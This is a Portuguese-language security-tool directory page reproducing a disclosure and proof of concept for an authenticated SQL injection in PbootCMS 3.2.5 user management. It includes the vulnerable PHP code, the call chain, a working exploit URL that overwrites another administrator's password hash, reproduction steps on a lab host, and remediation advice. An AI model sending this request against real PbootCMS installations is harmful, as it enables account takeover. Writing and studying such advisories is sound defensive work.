Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-79387-PbootCMS-SQL-Injection — Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta. | Kitploit
Ferramentas/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta.

Ver Repositório
há 14h 19mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-79387: Injeção de SQL no Módulo de Gerenciamento de Usuários do PbootCMS V3.2.5

Visão Geral

CampoDetalhe
ID CVECVE-2026-79387
ProdutoPbootCMS
Versões Afetadas3.2.0 – 3.2.5, e possivelmente anteriores
Tipo de VulnerabilidadeInjeção de SQL (CWE-89)
Vetor de AtaqueRemoto (Autenticado)
Severidade CVSSAlta
DescobridorJihaoLi
Fornecedorhttps://www.pbootcms.com/

Descrição da Vulnerabilidade

Existe uma vulnerabilidade de injeção de SQL no módulo de gerenciamento de usuários do PbootCMS V3.2.5. A vulnerabilidade reside no método mod() de /apps/admin/controller/system/UserController.php (linha 149) e no método modUser() de /apps/admin/model/system/UserModel.php.

O parâmetro field é totalmente controlado pelo usuário por meio de uma solicitação GET, sem qualquer validação de lista de permissões. O parâmetro value é igualmente controlado pelo usuário e é diretamente concatenado na instrução SQL UPDATE. Um atacante autenticado pode especificar qualquer coluna do banco de dados como field (por exemplo, password, username, status, role), permitindo manipulação arbitrária de dados.

Causa Raiz

root@kitploit:~
// UserController.php - método mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field e $value são obtidos diretamente da superglobal $_GET e concatenados em uma string SQL com nenhuma sanitização, nenhuma lista de permissões e nenhuma consulta parametrizada. Essa string é então passada para UserModel::modUser(), que a encaminha para o método base Model::update(). Como o argumento é uma string (não um array), ele ignora a validação de nome de campo checkKey() e é incorporado literalmente na cláusula SET:

root@kitploit:~
UPDATE ay_user SET <controlado-pelo-usuário>= '<controlado-pelo-usuário>', update_user='admin' WHERE ucode='<ucode>'

Cadeia de Chamadas

root@kitploit:~
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

Impacto

Um atacante autenticado pode:

  1. Modificar a senha de qualquer usuário — incluindo o superadministrador (exceto o fundador integrado ucode=10001).
  2. Alterar o status da conta — habilitar ou desabilitar contas arbitrárias.
  3. Injetar SQL mais profundo — o parâmetro value permite escape de aspas simples, potencialmente habilitando ataques baseados em consultas empilhadas ou tautológicas.

Isso leva à assunção de conta e ao controle total do backend do CMS.

Etapas de Reprodução

Pré-requisitos

  • PbootCMS V3.2.5 instalado localmente (testado em 192.168.1.104, Apache/PHP 7.2.1/SQLite)
  • Uma conta de administrador válida do backend

Etapa 1: Fazer Login no Painel de Administração

Acesse o painel de administração do PbootCMS e faça login com a conta padrão admin.

Painel de Administração

Etapa 2: Criar um Usuário Alvo

Navegue até Gerenciamento do Sistema → Gerenciamento de Usuários → Adicionar Usuário. Crie um novo usuário:

  • Nome de usuário: admin2
  • Senha: admin
  • Função: Administrador do Sistema

Criar Usuário

Etapa 3: Verificar se o Usuário Existe

A lista de usuários confirma admin2 com ucode=10002:

Lista de Usuários

Etapa 4: Confirmar a Senha Inicial

Abra uma nova janela do navegador. Tente fazer login como admin2 com a senha 123456 — isso falha porque a senha real é admin:

Falha no Login

Etapa 5: Criar e Executar o Payload

Usando o navegador do administrador já conectado, navegue até:

root@kitploit:~
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291 é o hash MD5 de 123456.

O método mod() executa a injeção e redireciona via location(-1):

Payload Executado - Não Encontrado

Etapa 6: Verificar a Alteração de Senha

Agora tente fazer login com admin2 / 123456:

Login Bem-sucedido

A senha foi alterada com sucesso por meio de injeção de SQL. O usuário agora está conectado com a nova senha, confirmando a assunção total da conta.

Análise do Código-Fonte

Código Vulnerável (UserController.php, linha ~149)

Código-Fonte

Camada de Banco de Dados (Model.php - método update)

Quando update() recebe um argumento de string, ele é usado como está na cláusula SET, sem qualquer escape:

root@kitploit:~
final public function update($data = null)
{
    if (is_array($data)) {
        // Caminho do array: checkKey() valida nomes de campos
        ...
    } else {
        // Caminho da string: NENHUMA VALIDAÇÃO
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Execução direta, sem prepared statement
}

Remediação

  1. Validação por lista de permissões no parâmetro field — permitir apenas nomes de colunas conhecidos (status, username, realname, password).
  2. Consultas parametrizadas — usar prepared statements em vez de concatenação de strings.
  3. Escapar a entrada do usuário — no mínimo, sanitizar $value para evitar quebra de aspas.
  4. Forçar hash de senha — se field for password, aplicar encrypt_string() ao valor antes do armazenamento.
  5. Restringir o caminho de modificação independente — o ramo de "modificação de campo único" em mod() deve exigir um token CSRF válido e uma verificação de autorização em nível de função.

Referências

  • Site Oficial do PbootCMS
  • Código-Fonte do PbootCMS no Gitee
  • CVE-2026-79387

Divulgação: Esta vulnerabilidade foi divulgada de forma responsável ao fornecedor. Se você estiver executando uma versão afetada, atualize imediatamente e audite todas as contas do backend.

Baixar ferramenta